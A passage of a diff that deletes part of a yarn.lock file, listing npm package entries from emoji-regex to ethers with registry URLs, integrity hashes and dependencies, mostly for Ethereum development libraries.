-    minimalistic-crypto-utils "^1.0.1"
-
-emoji-regex@^8.0.0:
-  version "8.0.0"
-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
-  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
-
-encodeurl@~1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-  integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-encoding-down@5.0.4, encoding-down@~5.0.0:
-  version "5.0.4"
-  resolved "https://registry.yarnpkg.com/encoding-down/-/encoding-down-5.0.4.tgz#1e477da8e9e9d0f7c8293d320044f8b2cd8e9614"
-  integrity sha512-8CIZLDcSKxgzT+zX8ZVfgNbu8Md2wq/iqa1Y7zyVR18QBEAc0Nmzuvj/N5ykSKpfGzjM8qxbaFntLPwnVoUhZw==
-  dependencies:
-    abstract-leveldown "^5.0.0"
-    inherits "^2.0.3"
-    level-codec "^9.0.0"
-    level-errors "^2.0.0"
-    xtend "^4.0.1"
-
-encoding@^0.1.11:
-  version "0.1.13"
-  resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9"
-  integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==
-  dependencies:
-    iconv-lite "^0.6.2"
-
-end-of-stream@^1.1.0:
-  version "1.4.4"
-  resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-  integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
-  dependencies:
-    once "^1.4.0"
-
-errno@~0.1.1:
-  version "0.1.8"
-  resolved "https://registry.yarnpkg.com/errno/-/errno-0.1.8.tgz#8bb3e9c7d463be4976ff888f76b4809ebc2e811f"
-  integrity sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==
-  dependencies:
-    prr "~1.0.1"
-
-error-ex@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
-  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
-  dependencies:
-    is-arrayish "^0.2.1"
-
-es-abstract@^1.18.0-next.1, es-abstract@^1.18.0-next.2:
-  version "1.18.0"
-  resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.18.0.tgz#ab80b359eecb7ede4c298000390bc5ac3ec7b5a4"
-  integrity sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==
-  dependencies:
-    call-bind "^1.0.2"
-    es-to-primitive "^1.2.1"
-    function-bind "^1.1.1"
-    get-intrinsic "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.2"
-    is-callable "^1.2.3"
-    is-negative-zero "^2.0.1"
-    is-regex "^1.1.2"
-    is-string "^1.0.5"
-    object-inspect "^1.9.0"
-    object-keys "^1.1.1"
-    object.assign "^4.1.2"
-    string.prototype.trimend "^1.0.4"
-    string.prototype.trimstart "^1.0.4"
-    unbox-primitive "^1.0.0"
-
-es-to-primitive@^1.2.1:
-  version "1.2.1"
-  resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-  integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
-  dependencies:
-    is-callable "^1.1.4"
-    is-date-object "^1.0.1"
-    is-symbol "^1.0.2"
-
-es5-ext@^0.10.35, es5-ext@^0.10.50:
-  version "0.10.53"
-  resolved "https://registry.yarnpkg.com/es5-ext/-/es5-ext-0.10.53.tgz#93c5a3acfdbef275220ad72644ad02ee18368de1"
-  integrity sha512-Xs2Stw6NiNHWypzRTY1MtaG/uJlwCk8kH81920ma8mvN8Xq1gsfhZvpkImLQArw8AHnv8MT2I45J3c0R8slE+Q==
-  dependencies:
-    es6-iterator "~2.0.3"
-    es6-symbol "~3.1.3"
-    next-tick "~1.0.0"
-
-es6-iterator@~2.0.3:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/es6-iterator/-/es6-iterator-2.0.3.tgz#a7de889141a05a94b0854403b2d0a0fbfa98f3b7"
-  integrity sha1-p96IkUGgWpSwhUQDstCg+/qY87c=
-  dependencies:
-    d "1"
-    es5-ext "^0.10.35"
-    es6-symbol "^3.1.1"
-
-es6-symbol@^3.1.1, es6-symbol@~3.1.3:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/es6-symbol/-/es6-symbol-3.1.3.tgz#bad5d3c1bcdac28269f4cb331e431c78ac705d18"
-  integrity sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==
-  dependencies:
-    d "^1.0.1"
-    ext "^1.1.2"
-
-escalade@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.1.1.tgz#d8cfdc7000965c5a0174b4a82eaa5c0552742e40"
-  integrity sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==
-
-escape-html@~1.0.3:
-  version "1.0.3"
-  resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-  integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-escape-string-regexp@4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz#14ba83a5d373e3d311e5afca29cf5bfad965bf34"
-  integrity sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==
-
-escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-  integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-esutils@^2.0.2:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
-  integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
-
-etag@~1.8.1:
-  version "1.8.1"
-  resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-  integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-eth-block-tracker@^3.0.0:
-  version "3.0.1"
-  resolved "https://registry.yarnpkg.com/eth-block-tracker/-/eth-block-tracker-3.0.1.tgz#95cd5e763c7293e0b1b2790a2a39ac2ac188a5e1"
-  integrity sha512-WUVxWLuhMmsfenfZvFO5sbl1qFY2IqUlw/FPVmjjdElpqLsZtSG+wPe9Dz7W/sB6e80HgFKknOmKk2eNlznHug==
-  dependencies:
-    eth-query "^2.1.0"
-    ethereumjs-tx "^1.3.3"
-    ethereumjs-util "^5.1.3"
-    ethjs-util "^0.1.3"
-    json-rpc-engine "^3.6.0"
-    pify "^2.3.0"
-    tape "^4.6.3"
-
-eth-ens-namehash@2.0.8, eth-ens-namehash@^2.0.8:
-  version "2.0.8"
-  resolved "https://registry.yarnpkg.com/eth-ens-namehash/-/eth-ens-namehash-2.0.8.tgz#229ac46eca86d52e0c991e7cb2aef83ff0f68bcf"
-  integrity sha1-IprEbsqG1S4MmR58sq74P/D2i88=
-  dependencies:
-    idna-uts46-hx "^2.3.1"
-    js-sha3 "^0.5.7"
-
-eth-json-rpc-infura@^3.1.0:
-  version "3.2.1"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-infura/-/eth-json-rpc-infura-3.2.1.tgz#26702a821067862b72d979c016fd611502c6057f"
-  integrity sha512-W7zR4DZvyTn23Bxc0EWsq4XGDdD63+XPUCEhV2zQvQGavDVC4ZpFDK4k99qN7bd7/fjj37+rxmuBOBeIqCA5Mw==
-  dependencies:
-    cross-fetch "^2.1.1"
-    eth-json-rpc-middleware "^1.5.0"
-    json-rpc-engine "^3.4.0"
-    json-rpc-error "^2.0.0"
-
-eth-json-rpc-middleware@^1.5.0:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/eth-json-rpc-middleware/-/eth-json-rpc-middleware-1.6.0.tgz#5c9d4c28f745ccb01630f0300ba945f4bef9593f"
-  integrity sha512-tDVCTlrUvdqHKqivYMjtFZsdD7TtpNLBCfKAcOpaVs7orBMS/A8HWro6dIzNtTZIR05FAbJ3bioFOnZpuCew9Q==
-  dependencies:
-    async "^2.5.0"
-    eth-query "^2.1.2"
-    eth-tx-summary "^3.1.2"
-    ethereumjs-block "^1.6.0"
-    ethereumjs-tx "^1.3.3"
-    ethereumjs-util "^5.1.2"
-    ethereumjs-vm "^2.1.0"
-    fetch-ponyfill "^4.0.0"
-    json-rpc-engine "^3.6.0"
-    json-rpc-error "^2.0.0"
-    json-stable-stringify "^1.0.1"
-    promise-to-callback "^1.0.0"
-    tape "^4.6.3"
-
-eth-lib@0.2.8:
-  version "0.2.8"
-  resolved "https://registry.yarnpkg.com/eth-lib/-/eth-lib-0.2.8.tgz#b194058bef4b220ad12ea497431d6cb6aa0623c8"
-  integrity sha512-ArJ7x1WcWOlSpzdoTBX8vkwlkSQ85CjjifSZtV4co64vWxSV8geWfPI9x4SVYu3DSxnX4yWFVTtGL+j9DUFLNw==
-  dependencies:
-    bn.js "^4.11.6"
-    elliptic "^6.4.0"
-    xhr-request-promise "^0.1.2"
-
-eth-lib@^0.1.26:
-  version "0.1.29"
-  resolved "https://registry.yarnpkg.com/eth-lib/-/eth-lib-0.1.29.tgz#0c11f5060d42da9f931eab6199084734f4dbd1d9"
-  integrity sha512-bfttrr3/7gG4E02HoWTDUcDDslN003OlOoBxk9virpAZQ1ja/jDgwkWB8QfJF7ojuEowrqy+lzp9VcJG7/k5bQ==
-  dependencies:
-    bn.js "^4.11.6"
-    elliptic "^6.4.0"
-    nano-json-stream-parser "^0.1.2"
-    servify "^0.1.12"
-    ws "^3.0.0"
-    xhr-request-promise "^0.1.2"
-
-eth-query@^2.0.2, eth-query@^2.1.0, eth-query@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/eth-query/-/eth-query-2.1.2.tgz#d6741d9000106b51510c72db92d6365456a6da5e"
-  integrity sha1-1nQdkAAQa1FRDHLbktY2VFam2l4=
-  dependencies:
-    json-rpc-random-id "^1.0.0"
-    xtend "^4.0.1"
-
-eth-sig-util@3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/eth-sig-util/-/eth-sig-util-3.0.0.tgz#75133b3d7c20a5731af0690c385e184ab942b97e"
-  integrity sha512-4eFkMOhpGbTxBQ3AMzVf0haUX2uTur7DpWiHzWyTURa28BVJJtOkcb9Ok5TV0YvEPG61DODPW7ZUATbJTslioQ==
-  dependencies:
-    buffer "^5.2.1"
-    elliptic "^6.4.0"
-    ethereumjs-abi "0.6.5"
-    ethereumjs-util "^5.1.1"
-    tweetnacl "^1.0.0"
-    tweetnacl-util "^0.15.0"
-
-eth-sig-util@^1.4.2:
-  version "1.4.2"
-  resolved "https://registry.yarnpkg.com/eth-sig-util/-/eth-sig-util-1.4.2.tgz#8d958202c7edbaae839707fba6f09ff327606210"
-  integrity sha1-jZWCAsftuq6Dlwf7pvCf8ydgYhA=
-  dependencies:
-    ethereumjs-abi "git+https://github.com/ethereumjs/ethereumjs-abi.git"
-    ethereumjs-util "^5.1.1"
-
-eth-tx-summary@^3.1.2:
-  version "3.2.4"
-  resolved "https://registry.yarnpkg.com/eth-tx-summary/-/eth-tx-summary-3.2.4.tgz#e10eb95eb57cdfe549bf29f97f1e4f1db679035c"
-  integrity sha512-NtlDnaVZah146Rm8HMRUNMgIwG/ED4jiqk0TME9zFheMl1jOp6jL1m0NKGjJwehXQ6ZKCPr16MTr+qspKpEXNg==
-  dependencies:
-    async "^2.1.2"
-    clone "^2.0.0"
-    concat-stream "^1.5.1"
-    end-of-stream "^1.1.0"
-    eth-query "^2.0.2"
-    ethereumjs-block "^1.4.1"
-    ethereumjs-tx "^1.1.1"
-    ethereumjs-util "^5.0.1"
-    ethereumjs-vm "^2.6.0"
-    through2 "^2.0.3"
-
-ethashjs@~0.0.7:
-  version "0.0.8"
-  resolved "https://registry.yarnpkg.com/ethashjs/-/ethashjs-0.0.8.tgz#227442f1bdee409a548fb04136e24c874f3aa6f9"
-  integrity sha512-/MSbf/r2/Ld8o0l15AymjOTlPqpN8Cr4ByUEA9GtR4x0yAh3TdtDzEg29zMjXCNPI7u6E5fOQdj/Cf9Tc7oVNw==
-  dependencies:
-    async "^2.1.2"
-    buffer-xor "^2.0.1"
-    ethereumjs-util "^7.0.2"
-    miller-rabin "^4.0.0"
-
-ethereum-bloom-filters@^1.0.6:
-  version "1.0.9"
-  resolved "https://registry.yarnpkg.com/ethereum-bloom-filters/-/ethereum-bloom-filters-1.0.9.tgz#4a59dead803af0c9e33834170bd7695df67061ec"
-  integrity sha512-GiK/RQkAkcVaEdxKVkPcG07PQ5vD7v2MFSHgZmBJSfMzNRHimntdBithsHAT89tAXnIpzVDWt8iaCD1DvkaxGg==
-  dependencies:
-    js-sha3 "^0.8.0"
-
-ethereum-common@0.2.0:
-  version "0.2.0"
-  resolved "https://registry.yarnpkg.com/ethereum-common/-/ethereum-common-0.2.0.tgz#13bf966131cce1eeade62a1b434249bb4cb120ca"
-  integrity sha512-XOnAR/3rntJgbCdGhqdaLIxDLWKLmsZOGhHdBKadEr6gEnJLH52k93Ou+TUdFaPN3hJc3isBZBal3U/XZ15abA==
-
-ethereum-common@^0.0.18:
-  version "0.0.18"
-  resolved "https://registry.yarnpkg.com/ethereum-common/-/ethereum-common-0.0.18.tgz#2fdc3576f232903358976eb39da783213ff9523f"
-  integrity sha1-L9w1dvIykDNYl26znaeDIT/5Uj8=
-
-ethereum-cryptography@^0.1.3:
-  version "0.1.3"
-  resolved "https://registry.yarnpkg.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz#8d6143cfc3d74bf79bbd8edecdf29e4ae20dd191"
-  integrity sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==
-  dependencies:
-    "@types/pbkdf2" "^3.0.0"
-    "@types/secp256k1" "^4.0.1"
-    blakejs "^1.1.0"
-    browserify-aes "^1.2.0"
-    bs58check "^2.1.2"
-    create-hash "^1.2.0"
-    create-hmac "^1.1.7"
-    hash.js "^1.1.7"
-    keccak "^3.0.0"
-    pbkdf2 "^3.0.17"
-    randombytes "^2.1.0"
-    safe-buffer "^5.1.2"
-    scrypt-js "^3.0.0"
-    secp256k1 "^4.0.1"
-    setimmediate "^1.0.5"
-
-ethereum-waffle@^3.3.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/ethereum-waffle/-/ethereum-waffle-3.3.0.tgz#166a0cc1d3b2925f117b20ef0951b3fe72e38e79"
-  integrity sha512-4xm3RWAPCu5LlaVxYEg0tG3L7g5ovBw1GY/UebrzZ+OTx22vcPjI+bvelFlGBpkdnO5yOIFXjH2eK59tNAe9IA==
-  dependencies:
-    "@ethereum-waffle/chai" "^3.3.0"
-    "@ethereum-waffle/compiler" "^3.3.0"
-    "@ethereum-waffle/mock-contract" "^3.2.2"
-    "@ethereum-waffle/provider" "^3.3.0"
-    ethers "^5.0.1"
-
-ethereumjs-abi@0.6.5:
-  version "0.6.5"
-  resolved "https://registry.yarnpkg.com/ethereumjs-abi/-/ethereumjs-abi-0.6.5.tgz#5a637ef16ab43473fa72a29ad90871405b3f5241"
-  integrity sha1-WmN+8Wq0NHP6cqKa2QhxQFs/UkE=
-  dependencies:
-    bn.js "^4.10.0"
-    ethereumjs-util "^4.3.0"
-
-ethereumjs-abi@0.6.8:
-  version "0.6.8"
-  resolved "https://registry.yarnpkg.com/ethereumjs-abi/-/ethereumjs-abi-0.6.8.tgz#71bc152db099f70e62f108b7cdfca1b362c6fcae"
-  integrity sha512-Tx0r/iXI6r+lRsdvkFDlut0N08jWMnKRZ6Gkq+Nmw75lZe4e6o3EkSnkaBP5NF6+m5PTGAr9JP43N3LyeoglsA==
-  dependencies:
-    bn.js "^4.11.8"
-    ethereumjs-util "^6.0.0"
-
-"ethereumjs-abi@git+https://github.com/ethereumjs/ethereumjs-abi.git":
-  version "0.6.8"
-  resolved "git+https://github.com/ethereumjs/ethereumjs-abi.git#1a27c59c15ab1e95ee8e5c4ed6ad814c49cc439e"
-  dependencies:
-    bn.js "^4.11.8"
-    ethereumjs-util "^6.0.0"
-
-ethereumjs-account@3.0.0, ethereumjs-account@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/ethereumjs-account/-/ethereumjs-account-3.0.0.tgz#728f060c8e0c6e87f1e987f751d3da25422570a9"
-  integrity sha512-WP6BdscjiiPkQfF9PVfMcwx/rDvfZTjFKY0Uwc09zSQr9JfIVH87dYIJu0gNhBhpmovV4yq295fdllS925fnBA==
-  dependencies:
-    ethereumjs-util "^6.0.0"
-    rlp "^2.2.1"
-    safe-buffer "^5.1.1"
-
-ethereumjs-account@^2.0.3:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/ethereumjs-account/-/ethereumjs-account-2.0.5.tgz#eeafc62de544cb07b0ee44b10f572c9c49e00a84"
-  integrity sha512-bgDojnXGjhMwo6eXQC0bY6UK2liSFUSMwwylOmQvZbSl/D7NXQ3+vrGO46ZeOgjGfxXmgIeVNDIiHw7fNZM4VA==
-  dependencies:
-    ethereumjs-util "^5.0.0"
-    rlp "^2.0.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-block@2.2.2, ethereumjs-block@^2.2.2, ethereumjs-block@~2.2.0, ethereumjs-block@~2.2.2:
-  version "2.2.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-block/-/ethereumjs-block-2.2.2.tgz#c7654be7e22df489fda206139ecd63e2e9c04965"
-  integrity sha512-2p49ifhek3h2zeg/+da6XpdFR3GlqY3BIEiqxGF8j9aSRIgkb7M1Ky+yULBKJOu8PAZxfhsYA+HxUk2aCQp3vg==
-  dependencies:
-    async "^2.0.1"
-    ethereumjs-common "^1.5.0"
-    ethereumjs-tx "^2.1.1"
-    ethereumjs-util "^5.0.0"
-    merkle-patricia-tree "^2.1.2"
-
-ethereumjs-block@^1.2.2, ethereumjs-block@^1.4.1, ethereumjs-block@^1.6.0:
-  version "1.7.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-block/-/ethereumjs-block-1.7.1.tgz#78b88e6cc56de29a6b4884ee75379b6860333c3f"
-  integrity sha512-B+sSdtqm78fmKkBq78/QLKJbu/4Ts4P2KFISdgcuZUPDm9x+N7qgBPIIFUGbaakQh8bzuquiRVbdmvPKqbILRg==
-  dependencies:
-    async "^2.0.1"
-    ethereum-common "0.2.0"
-    ethereumjs-tx "^1.2.2"
-    ethereumjs-util "^5.0.0"
-    merkle-patricia-tree "^2.1.2"
-
-ethereumjs-blockchain@^4.0.3:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/ethereumjs-blockchain/-/ethereumjs-blockchain-4.0.4.tgz#30f2228dc35f6dcf94423692a6902604ae34960f"
-  integrity sha512-zCxaRMUOzzjvX78DTGiKjA+4h2/sF0OYL1QuPux0DHpyq8XiNoF5GYHtb++GUxVlMsMfZV7AVyzbtgcRdIcEPQ==
-  dependencies:
-    async "^2.6.1"
-    ethashjs "~0.0.7"
-    ethereumjs-block "~2.2.2"
-    ethereumjs-common "^1.5.0"
-    ethereumjs-util "^6.1.0"
-    flow-stoplight "^1.0.0"
-    level-mem "^3.0.1"
-    lru-cache "^5.1.1"
-    rlp "^2.2.2"
-    semaphore "^1.1.0"
-
-ethereumjs-common@1.5.0:
-  version "1.5.0"
-  resolved "https://registry.yarnpkg.com/ethereumjs-common/-/ethereumjs-common-1.5.0.tgz#d3e82fc7c47c0cef95047f431a99485abc9bb1cd"
-  integrity sha512-SZOjgK1356hIY7MRj3/ma5qtfr/4B5BL+G4rP/XSMYr2z1H5el4RX5GReYCKmQmYI/nSBmRnwrZ17IfHuG0viQ==
-
-ethereumjs-common@^1.1.0, ethereumjs-common@^1.3.2, ethereumjs-common@^1.5.0:
-  version "1.5.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-common/-/ethereumjs-common-1.5.2.tgz#2065dbe9214e850f2e955a80e650cb6999066979"
-  integrity sha512-hTfZjwGX52GS2jcVO6E2sx4YuFnf0Fhp5ylo4pEPhEffNln7vS59Hr5sLnp3/QCazFLluuBZ+FZ6J5HTp0EqCA==
-
-ethereumjs-tx@2.1.2, ethereumjs-tx@^2.1.1, ethereumjs-tx@^2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ethereumjs-tx/-/ethereumjs-tx-2.1.2.tgz#5dfe7688bf177b45c9a23f86cf9104d47ea35fed"
-  integrity sha512-zZEK1onCeiORb0wyCXUvg94Ve5It/K6GD1K+26KfFKodiBiS6d9lfCXlUKGBBdQ+bv7Day+JK0tj1K+BeNFRAw==
-  dependencies:
-    ethereumjs-common "^1.5.0"
-    ethereumjs-util "^6.0.0"
-
-ethereumjs-tx@^1.1.1, ethereumjs-tx@^1.2.0, ethereumjs-tx@^1.2.2, ethereumjs-tx@^1.3.3:
-  version "1.3.7"
-  resolved "https://registry.yarnpkg.com/ethereumjs-tx/-/ethereumjs-tx-1.3.7.tgz#88323a2d875b10549b8347e09f4862b546f3d89a"
-  integrity sha512-wvLMxzt1RPhAQ9Yi3/HKZTn0FZYpnsmQdbKYfUUpi4j1SEIcbkd9tndVjcPrufY3V7j2IebOpC00Zp2P/Ay2kA==
-  dependencies:
-    ethereum-common "^0.0.18"
-    ethereumjs-util "^5.0.0"
-
-ethereumjs-util@6.2.1, ethereumjs-util@^6.0.0, ethereumjs-util@^6.1.0, ethereumjs-util@^6.2.0:
-  version "6.2.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-6.2.1.tgz#fcb4e4dd5ceacb9d2305426ab1a5cd93e3163b69"
-  integrity sha512-W2Ktez4L01Vexijrm5EB6w7dg4n/TgpoYU4avuT5T3Vmnw/eCRtiBrJfQYS/DCSvDIOLn2k57GcHdeBcgVxAqw==
-  dependencies:
-    "@types/bn.js" "^4.11.3"
-    bn.js "^4.11.0"
-    create-hash "^1.1.2"
-    elliptic "^6.5.2"
-    ethereum-cryptography "^0.1.3"
-    ethjs-util "0.1.6"
-    rlp "^2.2.3"
-
-ethereumjs-util@^4.3.0:
-  version "4.5.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-4.5.1.tgz#f4bf9b3b515a484e3cc8781d61d9d980f7c83bd0"
-  integrity sha512-WrckOZ7uBnei4+AKimpuF1B3Fv25OmoRgmYCpGsP7u8PFxXAmAgiJSYT2kRWnt6fVIlKaQlZvuwXp7PIrmn3/w==
-  dependencies:
-    bn.js "^4.8.0"
-    create-hash "^1.1.2"
-    elliptic "^6.5.2"
-    ethereum-cryptography "^0.1.3"
-    rlp "^2.0.0"
-
-ethereumjs-util@^5.0.0, ethereumjs-util@^5.0.1, ethereumjs-util@^5.1.1, ethereumjs-util@^5.1.2, ethereumjs-util@^5.1.3, ethereumjs-util@^5.1.5, ethereumjs-util@^5.2.0:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-5.2.1.tgz#a833f0e5fca7e5b361384dc76301a721f537bf65"
-  integrity sha512-v3kT+7zdyCm1HIqWlLNrHGqHGLpGYIhjeHxQjnDXjLT2FyGJDsd3LWMYUo7pAFRrk86CR3nUJfhC81CCoJNNGQ==
-  dependencies:
-    bn.js "^4.11.0"
-    create-hash "^1.1.2"
-    elliptic "^6.5.2"
-    ethereum-cryptography "^0.1.3"
-    ethjs-util "^0.1.3"
-    rlp "^2.0.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-util@^7.0.2:
-  version "7.0.10"
-  resolved "https://registry.yarnpkg.com/ethereumjs-util/-/ethereumjs-util-7.0.10.tgz#5fb7b69fa1fda0acc59634cf39d6b0291180fc1f"
-  integrity sha512-c/xThw6A+EAnej5Xk5kOzFzyoSnw0WX0tSlZ6pAsfGVvQj3TItaDg9b1+Fz1RJXA+y2YksKwQnuzgt1eY6LKzw==
-  dependencies:
-    "@types/bn.js" "^5.1.0"
-    bn.js "^5.1.2"
-    create-hash "^1.1.2"
-    ethereum-cryptography "^0.1.3"
-    ethjs-util "0.1.6"
-    rlp "^2.2.4"
-
-ethereumjs-vm@4.2.0:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/ethereumjs-vm/-/ethereumjs-vm-4.2.0.tgz#e885e861424e373dbc556278f7259ff3fca5edab"
-  integrity sha512-X6qqZbsY33p5FTuZqCnQ4+lo957iUJMM6Mpa6bL4UW0dxM6WmDSHuI4j/zOp1E2TDKImBGCJA9QPfc08PaNubA==
-  dependencies:
-    async "^2.1.2"
-    async-eventemitter "^0.2.2"
-    core-js-pure "^3.0.1"
-    ethereumjs-account "^3.0.0"
-    ethereumjs-block "^2.2.2"
-    ethereumjs-blockchain "^4.0.3"
-    ethereumjs-common "^1.5.0"
-    ethereumjs-tx "^2.1.2"
-    ethereumjs-util "^6.2.0"
-    fake-merkle-patricia-tree "^1.0.1"
-    functional-red-black-tree "^1.0.1"
-    merkle-patricia-tree "^2.3.2"
-    rustbn.js "~0.2.0"
-    safe-buffer "^5.1.1"
-    util.promisify "^1.0.0"
-
-ethereumjs-vm@^2.1.0, ethereumjs-vm@^2.3.4, ethereumjs-vm@^2.6.0:
-  version "2.6.0"
-  resolved "https://registry.yarnpkg.com/ethereumjs-vm/-/ethereumjs-vm-2.6.0.tgz#76243ed8de031b408793ac33907fb3407fe400c6"
-  integrity sha512-r/XIUik/ynGbxS3y+mvGnbOKnuLo40V5Mj1J25+HEO63aWYREIqvWeRO/hnROlMBE5WoniQmPmhiaN0ctiHaXw==
-  dependencies:
-    async "^2.1.2"
-    async-eventemitter "^0.2.2"
-    ethereumjs-account "^2.0.3"
-    ethereumjs-block "~2.2.0"
-    ethereumjs-common "^1.1.0"
-    ethereumjs-util "^6.0.0"
-    fake-merkle-patricia-tree "^1.0.1"
-    functional-red-black-tree "^1.0.1"
-    merkle-patricia-tree "^2.3.2"
-    rustbn.js "~0.2.0"
-    safe-buffer "^5.1.1"
-
-ethereumjs-wallet@0.6.5:
-  version "0.6.5"
-  resolved "https://registry.yarnpkg.com/ethereumjs-wallet/-/ethereumjs-wallet-0.6.5.tgz#685e9091645cee230ad125c007658833991ed474"
-  integrity sha512-MDwjwB9VQVnpp/Dc1XzA6J1a3wgHQ4hSvA1uWNatdpOrtCbPVuQSKSyRnjLvS0a+KKMw2pvQ9Ybqpb3+eW8oNA==
-  dependencies:
-    aes-js "^3.1.1"
-    bs58check "^2.1.2"
-    ethereum-cryptography "^0.1.3"
-    ethereumjs-util "^6.0.0"
-    randombytes "^2.0.6"
-    safe-buffer "^5.1.2"
-    scryptsy "^1.2.1"
-    utf8 "^3.0.0"
-    uuid "^3.3.2"
-
-ethers@^5.0.0, ethers@^5.0.1, ethers@^5.0.2, ethers@^5.1.4:
-  version "5.1.4"
-  resolved "https://registry.yarnpkg.com/ethers/-/ethers-5.1.4.tgz#8ae973705ed962f8f41dc59693704002a38dd18b"
-  integrity sha512-EAPQ/fgGRu0PoR/VNFnHTMOtG/IZ0AItdW55C9T8ffmVu0rnyllZL404eBF66elJehOLz2kxnUrhXpE7TCpW7g==
-  dependencies:
-    "@ethersproject/abi" "5.1.2"
-    "@ethersproject/abstract-provider" "5.1.0"
-    "@ethersproject/abstract-signer" "5.1.0"
-    "@ethersproject/address" "5.1.0"
-    "@ethersproject/base64" "5.1.0"
-    "@ethersproject/basex" "5.1.0"
-    "@ethersproject/bignumber" "5.1.1"
-    "@ethersproject/bytes" "5.1.0"
-    "@ethersproject/constants" "5.1.0"
-    "@ethersproject/contracts" "5.1.1"
-    "@ethersproject/hash" "5.1.0"
-    "@ethersproject/hdnode" "5.1.0"
-    "@ethersproject/json-wallets" "5.1.0"
-    "@ethersproject/keccak256" "5.1.0"
-    "@ethersproject/logger" "5.1.0"
